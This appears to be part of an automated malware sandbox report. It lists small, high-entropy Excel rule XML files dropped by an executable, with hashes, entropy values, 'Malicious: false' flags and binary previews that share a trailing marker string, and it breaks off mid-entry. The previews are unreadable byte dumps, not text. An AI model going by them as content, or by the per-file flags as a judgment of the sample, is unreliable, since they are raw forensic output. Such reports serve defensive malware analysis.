Preview:	<?xml.^..l....J......)...8R..!F\\B.......d........i..`.=...n{....V.hs)Q.__..C...O<YH.."U....z.hU..Q.L..@....p.C`...d.u.tM..J.....-.>M.....d..F....oE.H..eG.T.]H.....b.'.4BH#.S..fa..c.3s.ox....z.`....wW3'....q.......n.8pZt...]_j(."..kwN...F.B....L..N...?x0...c5.6o.B.h..Z.L.\|v;......U...c.%. p..E!.=.J0.-........P.05.D..YW.n..M...{.u!.APm..J.=A......M{...^...8..t......p..D.......m.L...p.o..*.v..l.......!.......rX..Y......P#.\|.+C.....0...Y..'.#.y...5..D...E\|..6.6.Jk...l..2..%.c.(....r..;M.G:/.y........B.3...>0....# u..9..h.q.w..xdt.....<........:`@..@K...W.........8.cFO..&..0[.h}..B1,4...A^..<P.s...-.....y.j...6...d..H..p......O...h.j'.v......K.{.....l..&.~.l.i.9..... ...;.5.O...A..i_..Gp..p.+.B...l...6...5..>.m..wJ..@.f.0....z~.1.H.v.....@..nF........l+z..O.O.a.U.&..G..P...@...@.-b...9.:..\|.T.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170116v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	717
Entropy (8bit):	7.655839968586611
Encrypted:	false
SSDEEP:	12:ISBhLQL9iVD7TkFoPOGLz89E13fzpcCsuo32NDH107RRLC9jPegZM+GMJtoqw1cq:HbL2ilTkAE9ifzpNPzH1WRR29jPvM5CI
MD5:	C05FBE6800389E8141B2282F2320E32F
SHA1:	8A9DCF4DEBF9E6599721797D71DCEF2B6EA7B709
SHA-256:	D9131E0CCC62953531103C4E050436AB2D48A2AB07074994D844CB50E19576E7
SHA-512:	FCE9CFA2E5C05BAED075D9843EEC47BE70FDB89FD226CFD8F153195073A7E51138BCD287F18FA1316F64E17C78D14CEEB5C30EA24B65853F3733D559290154FC
Malicious:	false
Preview:	<?xml...x./..$..e.[>..S..Mr.ro.m.(..z{E..9ER.7...}.,..]..C6....R....i.#QI.....(2is...3.$.2c.f=...'....mwA.ND.5.M080.r..S..Ddk{....w.....P.iw.S.P.5.+..Y..O6.....o..R.N.4..g}...,t%.e.e.LtV}.i..~.M.....{V.....W.?......d...f.6H#.(.v..k>.j..g...X.Y....G..d...6~..?C\..zw...+...........2&.d.....$9..v......9<J...x.A'.GgP.b.........{....1\|............2v..2..P..$J.g.d3...HV....[8.mc...I..Sh-.`..*F...R.:....St.l........\.R6B...!=X.Pz[D..-....E.I.R;...\.nD)/..s.N.(...Y..@.9I..#u.?d.<....1YR..V........1.b.=..o.oHIz...2...E.u.X....6L.0.me./...i...:[1...Y........Z..i?....B.%.j.).b...x....o"I.....I...5TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170117v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	942
Entropy (8bit):	7.795942644635211
Encrypted:	false
SSDEEP:	24:g8wrMk9FO0W3j2Hoizy4IUeIq6BMHHBMV/mA+w1bD:grTPO00aH3WPUeIq6BMHaV/+yD
MD5:	DE9D15607D3E52E483C3D0ABD35FA212
SHA1:	CDAF31AC4F56D4E4F0DD564CE9EEF716138F4B57
SHA-256:	15DC04A795C20BD95615E0B97F9DEC167CE2CED77A740C5AD24D00ECBF6F744E
SHA-512:	DD1221FB495BFDF7BAB6A06BE47BE034D5358657273BE85865238D96DE66F08BFBC794004A3FB174A20F2F5D6777C9F521B39652DB925FC9B4DE956D117DDBF2
Malicious:	false
Preview:	<?xml]..w..V..l.T.&..Vn..7]......l....@.u.HU.7...\7..Ax...V.`.....>...<......;Rg......1..z.F.=..4...#.X.....v.....o.E8"J.\|...&)\|.4B..]\n....~O..D..w.=%.X.....{.P.7..7!.=1........"KL.&..].Mc..^O.E..@.w..B..F.M...g.E......#3...&...nd.xv..60...3.T.#.{L...V".t.w.......H.....y.x.........0.....+....T.F.~..%........$Q.."._..M..C...[..]........2....)...u.......h.(..%.v..n.....3..^.u.:...R<.E8..$...P.R..;...Ox...G.......9..A....)t..k.....$Y<..\|..t......@$...I..P...S..A.2.7....x5...Y!Z.....1.........w0K.......5.o a:............".....z.f...k.....O....E1L.!..b.Y.._>...Wi...2..c..R.......q...xx.../"..a...i..L.D.....}.S.sD.4yh3'......e.n.&...k......ae.i...jP..7..4;.f.'g..]!jR.Ip.--q..k.....Bl.g.K....>..i..?$.(.1G" ..;...GhU..pP[..Bs.".4`..\T...?q]E.T.......Uj.b.E..-.*)Q...Kz.8....=.Z.2.......R......9.S..` %..9>u=f-6....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170118v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	949
Entropy (8bit):	7.791888756372442
Encrypted:	false
SSDEEP:	24:Q28DapC3HoM+sX039GwKMJKtsomNEGJ75RESLQgyqVi1WtXw1bD:QNhtXO9Gu9o7w1REkQ8VxyD
MD5:	80E5596E053BBC0909E2D8F8C03F1A27
SHA1:	171118EE72ABE34A628DEA8D7AB70212AFEC194D
SHA-256:	91F369C4358A741D3FBBEB1A34EEBA0A23B31E4E8655725370CA2ADE4236BCAC
SHA-512:	F2CEF3E9128491B499E4829EF1714585A657484511C4B410B1C865EAC5C07D6A7A674234C38D245E1D68691761A6D9AEAF1621A95617FEE01957426520BD2F18
Malicious:	false
Preview:	<?xml...>.1^..a...z._9.P..=....;....g.E....].K. ._..&../..VZ\.k..p..M.....S.h..... .n!Y[Z..~.O.e........3....T..p-...d..S..T..B...-....wX/.U....)..F#..C.e..o....?7.....D.-M,....:.D}......_.VFAU.2.D._...8..`mx!&.S.#...z...G.hd1....x...T...@_.?....&#gd.\K....PSn....n.I.O&...c.._.t.H.4.K.5@N.7\....dw+:.P6....Y.t...g.....H-....:........o.y....rnT'.....o.Vvv....p\|.PRT.86^~.6s7..(..U.A{.x.f.r...]k..^(../zp.S.x..w..`H....[J-.J}.w.)...L:W...K...2v.~......C@N.Jh..WA...[L...1.....Xd.d.!.#."...}.1..G......p#...E....+.9.F...uF..n.....4n.:...L.&.jQ..D..51u.Xv..Y{....`:.H.i....[.h..9.....u..').....q.Q.v...........5.+.....Y8.j.....ct.$\Q.#...%..N.1..>)=.{.uk.v.R.}M;..#..{....O8..w.al.oE.?1op45o.i..S./..yV.5Y...a...I.N...jhUXu....Z.b.=.AF..h)C..V...S...j....=.,.W.I.R.c.+.....Z.....hsv....U.f'..9.=.9...U^s....Szq.y.3.N6...5Xr.(..yyo...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170127v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	867
Entropy (8bit):	7.769737558165783
Encrypted:	false
SSDEEP:	12:qnoeZmfH9cXwD/bcxgVIhqmBSHuOVwYNTEyxUFmX8llZEoKxVjpKvKEyz4lShg4/:feZEecbbe5SH1ZUp1EAvM4/BBxwGw1bD
MD5:	B5733F1A1884BD43D40F19289B00E319
SHA1:	80289F96ED02320DC6058297017103175972C83F
SHA-256:	EC43B7E68EB611C63E5F468191BC630A28C813E5A9068F74D16E58BECDF2D813
SHA-512:	9D9A1015FFD0A7F8F0B20BB237432ED6514B2D8F86479D5C3237BD0FC3C20BDE5471EF96F2E8A8D5DBE4CC1819024762876A65C6D915C68316035ACB31BB70B7
Malicious:	false
Preview:	<?xml.$&..!.......(..j2~d_Uu.z:.K>.N],....ll............g..T}.UJ.../....Q.....wk..$kq..D.p......>..J.........Z\0..0.u...8YZzy.dX..$.;....D.Z.....~4<bm..8.B5....Pl.&o\|Q.K.D....6V.I...)..xe...B.a.m........nm8.Q.C......q..O.]..!...c\.\...I......_.l..&..D.a....'.JJ...a.{.-q.HyZ...^aP.u.r..2..<......l...O=..m\........TG...5.!).. .....T..Y.......c......k....Q.H.7..7...;.jzY......,KU41......j..u.........p...(....'F....>..8C..R...b'.W.-.!.u........`bu:...^z....{.] ...7...\wm.Q2_$`..............;>..Vk..D.^....:(*RL.<.b.^a+.....%.J.3LV..`.HI....F..3.".X........ .l0.y..C.lO...<....(%#}..`.~.d.-V.....x..si..=...+.1D#..I.nx.d{..2j.5#.38...}....(.....f-...Q.,.....w.......r.07M.e..Y.Z!.{.%N.....0N....LRF.....1W..}.:........O... .7.j..K.)X.....c[0...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170129v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	918
Entropy (8bit):	7.762693464668712
Encrypted:	false
SSDEEP:	24:kFjZuVCEUW6QH+w4QGRssdO32Xa7d1Clf+Ww1bD:mZuo3WhMQwddM2XoS/yD
MD5:	7485E6177311E4E40ECE28270E1A36F7
SHA1:	77808719F885ACA5AAE3420A807C0330034D3CCD
SHA-256:	7028F759D630DD79C21B2E664AAF5C68E664269E6E54A34C2757FCD63E8AAD42
SHA-512:	B0F18622B1E262014D8180E89C40F7F3B2B82285B509DD2DF7BE1413C2F7038B9BB2A7A28D785B394C389B253D290CBFE956AFC4ECDC95DCAAEE5665FB288D32
Malicious:	false
Preview:	<?xml.vW.?qB.MM.!..S...gm.4..D...e..x...!.5..\.e..p.....l.....;.7.Q.6....Pr.._.E...V.H.Y.H./pZ..5.W..?.`o..a..c...7..d....g..E.u)g;$Q............(...Q........h.!w..'..yQ%QRxK.2...blX;Y..]..^.gJ..'.......w.o(_./.vL.V..g{i...}i.Dy?..1.es.Qur}...x..T.S....s..z.....^..(.].2..U....../}..j.%.P.....bYi........./.....J=......P>..$...Z...<......c+...e8..j..B..V..N..Yv/[..>....yS.....kt.uw.J.+.~.+e.`..7...6)f......{.u.......#n...r....C^.P...7.4...j.ZH.k..7.S6'..c....P1......cA].U....T..kky...).P_.D.?..i.X..ubc..c\|}[..._.c7..K.3....I.+.$r.;..,C.F.9JIi...tG.:....4..5..o..HC....X.\Y.{..r..ub...g..r.VpF.....M..Q........I.D..DQ.Z....s.Mg.).3...y7..o&.....Q..?](O'.Z..pG...F.Z...q.v.Gq...cb<....E3..\|A.{...5....iunz....?......Q`.W.m...Mv.x."..m..RY.@..Im....o.\..[.......t.\.9....-....b...N..m...(...Se...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170130v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	898
Entropy (8bit):	7.766761345318558
Encrypted:	false
SSDEEP:	12:hbWxi552MGeQIthRKijl6Snq+9FMAYYGAQPcgEgM+GGSnx9nS0z0cwoqw1cii9a:hbu85SERpjl6Snq/AVPsZELz0cww1bD
MD5:	F4623BD5AFAC3869BEF31832993AC24A
SHA1:	E3DBCE8DF42B74D36DF701B700502E3072CD2641
SHA-256:	F5079FD1367256D636F9572CF5B13A8A72CEFCE47463909F3AF27E2C94C6D747
SHA-512:	1D21CCBE0CD60DC1484953B1A6C84CFF527174BD789823777A1FA35F57DF3B838667A1AC53F166896009884449483523ED3CFB1BBA9C6D0E378CF880A8469103
Malicious:	false
Preview:	<?xml.b.(...7zww...=Y%.....gO..a...k]....e......>..2.......R..y...4....]Gra....J8]r..Bz.<..O_..Y.'.........d.;..j....a.qH.&....6....rf..MDs.P:L/Z...G.y4.e/Y/...l.V..q..yb...l...>..&K.?..=..[..._.kd....e..i.v...98...............@....L.qa...d....U..........z^qz.2.?.@..]r...B.....n....P.Iq.c....Tp..t~z)X..zy$r.r.tU.tq...d#.s.U....Z.-......b/.....,.....n.(.V...#.$c..3.6.I....q&.'#P......G.........N.35H"x;..B..kO.~C.&.V..^.D9...SZ..}."b\|D<.;....1.6...Q..f.3.k.]a.a..h.W..Y.2.Ct)...`d.....9.sl.G.b..w.V.o...9.......X"....-...I.#m~..}.....X....W.+..X.....n....5nO.f....sA....7...TZ.V.k.k.p.\u.^.!.5WqX.......x...B/_%......:,5..NW.{.d.I.u.d.\|;......D..n......0..l...._..3%...=.D.9..J.....;D.EZ.>q.0."./..f....>N..X.C..:vw...x.V.p4....'.<./xS.\.S....u....C........d....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170133v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.741399181849762
Encrypted:	false
SSDEEP:	24:MOEq7qgKLZC3OZzE7WNaXwqkVqYdzgw1bD:fAuOdEqNaFwqmzgyD
MD5:	71AB0EAAB73757ADE77AE786F698D3F3
SHA1:	F11A32575CD7CE2E293AC20C10F0C70BF6EE2E2F
SHA-256:	7738F88ECF09F930CFF0E3AECBD3EA0ECACE623B7CA67ECBC06B3EDC12989BAF
SHA-512:	9716A46250B950DC15B344D310228AC3081FABA0896E0E6B56390CAEC033D66AD9526131080DB943AEBDAF9D558FA703EB7AD1A53993AA841B7FA7A28D1E2333
Malicious:	false
Preview:	<?xmla.._e..\G).v....b.?\^..TTqbc.b.F..U.+.&..O.z....C.De...1........).....z.Z.d..R].......O...q..U....9!..7.%.8....m........f..A.MV....;.r.....'^....._;p...#...GV..4T..;.Z.......$.^...b..^.c..z.0P.......s.9.,........o........$.Y..R..,.D...N..n.4......<.9....!.D....Op.n.y..>].....g.k...N"S..'H........}5dn.2.;a.....>......\|.a.{......"T..<....._n.rs.s]C..Yt...n...-.A./.....k!.....@u.A.[.J{c..?......?.....j....y....m........X.!b.=...'...:.8.XB+qY..+.js[....nQ-.q-. 1..]U0?....#.Nj=5`..ol......w..\..C.;...(:.=.x....Y..tT`]..`N@2.h..$.J..g...X..M....ZvRZ..F..{.9....+G~."b.D_.G..0.....n.'U...^..(.Q..s.U.......<:.<....\....J.\......6..M.5zH...............3......M~..p."..Vh1.O@6<..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170134v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.7206488535258195
Encrypted:	false
SSDEEP:	24:PzRUxw24PrBv0Es79JZY5iTtLRKntTpmmww1bD:PzCxw1lIZJK5UjI7LwyD
MD5:	EF94AA1571E4DF2CCCF103D5D38B52C2
SHA1:	1AD42C873EAF9D21BE5B9B79387F890674C679D7
SHA-256:	A5B6537572374525CAAFEE5E8814F803C6E050C053D211EE1255BA758FA2E03A
SHA-512:	5765036BDA34809ED1250848E72311C7406172AC09E6C9E92353C1EDF2244F35590849F5C4FC2C3FA6B12F4C9FE1DBEC76AC5CFAD3CA9359C0C54CDA83A84FE4
Malicious:	false
Preview:	<?xmlD.\.\|.K.... )..J`.iK.:]_&o.L+....5............NZ5`RD.d.^....2.........X.C...c..6...d.p.....G........3H.`EJh....}.Y..A.<...}.2.mo.2...... N..o.[..^^.T.Q..p....c`.F..Y...=w...4.../....HXm.^.$.....6..u..P....D\6!T0...8&.a.ZR.A..#f4\|%....Q..X....+,....q..../.3...k.......%.8Fjg../.D.$.=]....o..?O?..Fsu>i.b..+iJ..Y...(../.z).T+?I.b.i.}..w0.k....E....L(...%.,.g...{4.....%..Y.....{UW..4o.).i.j.EK.....p..m.....&.`]..I......TR<<.-s~C.5U./sU/.O.\|a '..FM..W...N.O..k.;.\|.( .....lI.p'+.t.Q...?......B.z(rs.....u....J....k...oG4....t.0..B{G....tHu...6x..a...O.....x..eKF...g:.dp;.....a."%:...o.}.....^-...~.J..,........U~..e.l.Rq....S\|..t.....j3.5Ux..T?...uz..?\|.rPCp.Bq(o...OB HY.\.++ ...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170135v4.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.760392806378607
Encrypted:	false
SSDEEP:	24:weem9vC2TEMAxJ2X5feP7oFkVSkCvcDieCCiqw1bD:wi9/AMUKSsGVCdeCCtyD
MD5:	687811B3303504C805EFC38DF2C73A0F
SHA1:	BCDDFE6259CFA4765290FA0A8401DF9F481CCF78
SHA-256:	F527A0528B004806270BB90B88AA378587663C6940E145A0DA2EDE4AB64B8834
SHA-512:	42C11F33FC1E069731CD71FCD8EB8A6E4372E5D22C21B66869877536568F0D02B2E397FEBF5B808AADA3D5A114E79E85C818E03C0E9BC9F737242D7609AEF49D
Malicious:	false
Preview:	<?xmlM.WO...I.%.\|..9...v.Rw.....K.+.t....I..N.a.H.U.z.P.......b.....W.%.q.&.......5<.}O...!.n....^C.Bg...n~.n...}.M.&.+.d.c.C..O=.......3Ye.......$...,A..q...C.D..0[B.c.......Q..].tF.G..\|!0.Y.]....;.2.p..... ......BZ./..........~...=[\|.!...{q?.H...J...=+4....c.....,~..x].XL_dc...N-.O...=..t.I../..!....H..L....EKV.m.ep.'.G..7.35=c.hh...(...{v...m2..H,.o.....:....xC.....'..............TT..uh..}..I5.Pjc.H...../P.c..'....k...^m........t..g.Acw.Ud.]...1......Q...n.Ef.$.}...W..=....M.....=.)za.>j..i.B.42..W.P..m.H.w...-.B$.%..=\|......a?..bt.......:....J3o..lN...0.]<..:e\W9.x.M.}xk.1.-.....d...=6..x+ms.~.Kl.....n<f...6...g.E..5..K......3...x36.....-:G..[nf88.....E'I.-.>r5.1....\|..kp..5....]<.3....%{pV.!...b..E.Z.....h.m.,.J...r>.....O.\|4.....0.x..p.......RC.9.u..-...'...A.6...p.*IZF+(..D.l.M..x>8s..............g7W.T..OM...Jx.&N.b5&R...k ...<.T$.5'.%..k..'[..(.X.BIX.\...y...MTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170136v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	996
Entropy (8bit):	7.786578573921257
Encrypted:	false
SSDEEP:	24:porIbJxXn+7QORzbVFsgPRvEoTTQHIWrMXNTFTRqKbBrSnsNuMw1bD:mrIv+kORzIER8oTPLxqKcnsgMyD
MD5:	7DCA2CFEC0B2337167D198E5A54B0DA2
SHA1:	92149F8C64FF0729083EF2E21A0D5F3613537716
SHA-256:	4EFF665106E95F1ED402C4F54D0437204D99D383E8633BAFCF05CCCAD5F7EEDE
SHA-512:	8611F2D79C39F89FDA2D0FB5477A01301F533414B8E78190B3B37CC7D7DB74B41D863C9C3BBD0E0CDF95058DDF14B65169C9DA646E1F4EF18C22C6A0F81C8C1A
Malicious:	false
Preview:	<?xmlk..O....'....Z..I...h../p.......".c+......Z...7..-.JJK.m.^@C...H......Y..il..co..d..-.+sv.v....~..s.h......,1..D..%X...Y.{.T."?c.i.'!;..Q.D^K.b.;b4.......hh..]...7..z..Y.?..^.t..B..cQg(...........P..~.!:v....e.A5P..R....wDD....[............/Qi.....iN.........?...{........].e=X.K].d.`...Z..B.X.._@.%.....<.7yx.9,,.LX.....h...<..v.......[...qQ..If~.D.7..#.......rN.......j..4b".m....7Fou.;.)R.7......K.`........;..nM.v....v..L.x2`.m.[.ES...w..u.....l..%...Sp..c.lM....S.."..g..[g...g.G..d..P..DK..j.]8Mq..-..r.~..R=u6q}.H......"7E.jF..b.]...j\...l.^.a_G..\|...\|.i.....B.....'........"...z..s.........."..=Y.....w....!..........#..T..mh,.u...3..G.......@.....k....:e.....b....1....U.W6..m....u..Bg4..G,0......m...nz.b._. G..pojP[...H,..$.....{^..c.....'.X%.....^2ES.?..d.X.!.......Y.]}..f.u.-.B.......{...<.B;......^.;.s.?.....4V..%-.8..{ys.6sa...R...jTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170137v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.726483759777003
Encrypted:	false
SSDEEP:	24:Yrg9rCl5eE3G7zQVRWNnDQR/b17HaSsHw1bD:ZCX3G3QVR2MR/R6SgyD
MD5:	A25DFE61A93DCCDA30D763B887C204D3
SHA1:	4AF4C35AB4E44E85DADBE6C6D9FAD10F21A2B80E
SHA-256:	2167F01A3AE64A72770C9923D12FFF08AE08E8348F89E0AD83FB83AC854C653E
SHA-512:	9CB740B1823754ADA51608382E02A42DC450959488D792089AD364EBCB8A50129516B46783646A8ACCD4CD430DE6B4A8DFC2F98E97C32992E879EEAFC181D650
Malicious:	false
Preview:	<?xml%.....tx..Br....B.x)...DPVg.R..c_..X...s......Tp.... ..].}.Y..".C.l...4)............wt.rf.!....!.^xJh.6Z......B~<......Q....<.DXC.3..jA.6UO..;.^..R...2;...t...)jxm:..H..;...F5.....E.&`~..}..{.A.....Xy.p...@z..(..b1.b..UE.kKD..0:7.c6..P....6N.N...BfX...\...7.n......M...$}p....Z..,.j...T6...#6%./~Sm..G9...c....o.........4....4.E......X.L4..lJ.hwF....Xx.C..X.5....wVXy.u.V...>..X..3.zC..e..c....Io..........S....@..,Y...d..C...X........{..,..Lv.2..}.V.....E...O3....< .x.n.?.:.&..;.6.0V.S8.......jK. ... ..+..*yy.<.9Z$Y.yI......I.W.....@./..[X._.D..E2...j.B6..:....%.t.O&..T.D+./...S.].\o..K$YB.1J.....h...^..J%.2~.MoN......".i V.Tv.e..QDD.....o......E..T.(.....}....>.BB.. R\w.H..2(.[N..R....d..l..\+.......P....u..5..i.z..o...4.-............WLR.y.....d.h.V.^..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170138v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	799
Entropy (8bit):	7.709459749619359
Encrypted:	false
SSDEEP:	24:OQHVDW33y/Izt7ejqEqpengxZdPeSArw1bD:OL3y/IR7ejq38gxZdPSyD
MD5:	26085C8C62ECC683C4E01B398D6C1FF5
SHA1:	92C929B8D14BEA75EE8001868E2B431BF377F3AD
SHA-256:	444897BC858457F16D4D576A1E99C50408650D838BAC0F8D5F04391CBAADD7A3
SHA-512:	B5F59284EA5EA405609323A75C3C567F9AF46697728C91833B17997AE56FF5EFE1B120AFAA873EEB4FF40FECC3DE45B41D9D567DA9510A6A61A898CDF1AF368C
Malicious:	false
Preview:	<?xml\|[.HUW$.~..m.../.XxF.N.L...;}.$T.-B..;.$.........k...p.6..6.y..A.....@...F..-.S^...Vf.@_?....2WvY.-jZ........]....+o.W.F.^..w..=.G-..h.57 .....w5.y.t....Z....p.=......IB...dK...7.nm...@....$.....n..._).H..[.}.Hr.TH...<5..o......d._bJ1.$..w....}<..8eJ..sa8w.4..\|..x.v'..C..2.>...o...nb.eJ.=K..\|C.2.x . MuJ.....}..b..T...q. D.....T..:..r5...k.l.V+..q.{..v?..1...;.......S.L...)..@........'..1.<.../X.Gc...L.H.m0....&.....}.......:@j...3.>..KL......q....lD....g....>..U.i.-+..O........R.....d....,OcN+.Q..%.....c.Qo.O.).O......-....k.Mb..?t.,... ..&..4...Dg.hwn.N5..G.h[-...G5.u..[...4..,3p..j..r......5...R*...Pvl...t.B..S....f......=...%Y...\3.........oPk.....4....m.sh...]....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170139v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.74863486084011
Encrypted:	false
SSDEEP:	24:eOh/DYR2nNOtKjMtnnQY8/zS6NMi1w1bD:Th/DHn0CqnQd7S6Nb1yD
MD5:	67411397B4AD9940502AAC498F8D7566
SHA1:	3CF5C6228074A866DEDE34869CC49D3BB172A98C
SHA-256:	DFD624F3D780B5B0D3650BF57D6D4FDCB9D5552B261E5AFEFEB2B22EC486E92C
SHA-512:	ED42F527E4E386801D1F4FCFD38EE12A6C40BD29F501EDA6F860F616418B27178A00EE665B1565D511AB481408750C0A9165F319280853AB943B20B55E9A5DF7
Malicious:	false
Preview:	<?xml..?.9....dd.Z..W.&.....!/..Md....P%\|."./.v..B....%..Y.G.8eK0,r.-2'.m.E1..J.....@....GEC....#..L.[....d...\..@c.?...c...T.7:Z.dY....Z....m.d.n.Au...T..Jc.o..I.e.Ot..>....JV..?..`..+.$..).#...?Ou^.l......;.i..z<:.5.=..Ox.J.iy.{..G...FM....O....Cn.%)..@\[...Pv.D....}.'.@..E9..M,.(....e.#'....\h.w.,}.'-.#...\i.E.:.1..[....-....=d. ..G..V...Z1n..5...1.Y......Md....P...0...!.......`.{.....T4....j..B....n$...x..{.../>u... .a...wy.K.."...?k...I.%.&.....LS...a....V@...y.D.-...X..t....6g..$..}.?l.c...!<..7.....Kg'...G.>..+.C._..&.&..;0B.@*.}.F.\|,.p...U..v..(.......S-.y.....0.#Rt.A...o.s..N...[...]H.....~..#..a. }..........c....L.......T.T.....L2...XV.QhT\|...Z.&.....c:O.6&?...u...(..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170140v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.6982746469219245
Encrypted:	false
SSDEEP:	12:9pD/aAuZClC65voNeIv+wFsPS0YKGezEah59KLmMdyx/9If4RIPTXqooqw1cii9a:LGT65UnH0HGTs5SjU1Y4RIPTXqIw1bD
MD5:	D5B88D7A8B5F529F3BC0D6D0AF5C4A08
SHA1:	D0FA72863FC2DCA603F419DD21260CC64F8934AA
SHA-256:	0E896AE6984AD667CB7B1FCDB590FF0378F33FAE3E57717027A2B4246936395F
SHA-512:	70F5369381651A67D072A1E64883E9B053744F2E9381E5A33E43E8CD97A792DB9394A5EDB1D4695E58A35E5F13E75E6C79DD5FA1B51DFEF70C5AA6FF9EAAB548
Malicious:	false
Preview:	<?xmlJa.l.....5j.tc#h......x.Qc.^.l....Q.{..{....[.[...}.can]........y.EG..Y..:.ikW]....6..~.D.~.l6+"\...A.V.....=...6\|0:.S.a.U...3.....OA\.C.n.z.R_..;P.7B[.. v...P.?.1e.D..../.-.1.0....P.... ^.../yDa..1C h.fL..R.i'. .6.Lc...}V.]f..."....f..=...$...Up6&..fc'..Vl.Z^Q.,{@.MH{G.Xp.}..Xns....^...I7\|.<Gh..)b.(...C.._.U. '......e.. .\z-.....2qt8$,Q"1d.(u.....:...j..%.D4...........Bn...".\|vN......4.M..42z...@.D....\|j@J.?S.s..[...q....f.7.,Lt;IJ..:N.,;hB[.p.j. .w;...^....HLC..R.1...=xw.#.r:..6..(i5)...b....2..x=.hp.>..A..TC-.#.d.O..).H.&.[..&T.`W..,).E...!J..m}...j.......`.T.!K.m.U....+....,5.W...R..'PIf....?.5Nz`..B..i.J......H..,Z..x..n'.T.u...if.T.&N......z.7.T....N.nw.p.\>...f(..]....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170141v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.809123120002763
Encrypted:	false
SSDEEP:	12:UM6BjhW6xy41lpk6uNe+zY7jscpYB7MnnEk2mdh4VosCft13fOWA4KEYSZGPDoqa:UM6lhxk6uNSSUE2DsAt1uxowzw1bD
MD5:	4C62794780A96F83A20E440142FDF818
SHA1:	1D73D3F44B4CA486240C2FDC07873C135132D6EF
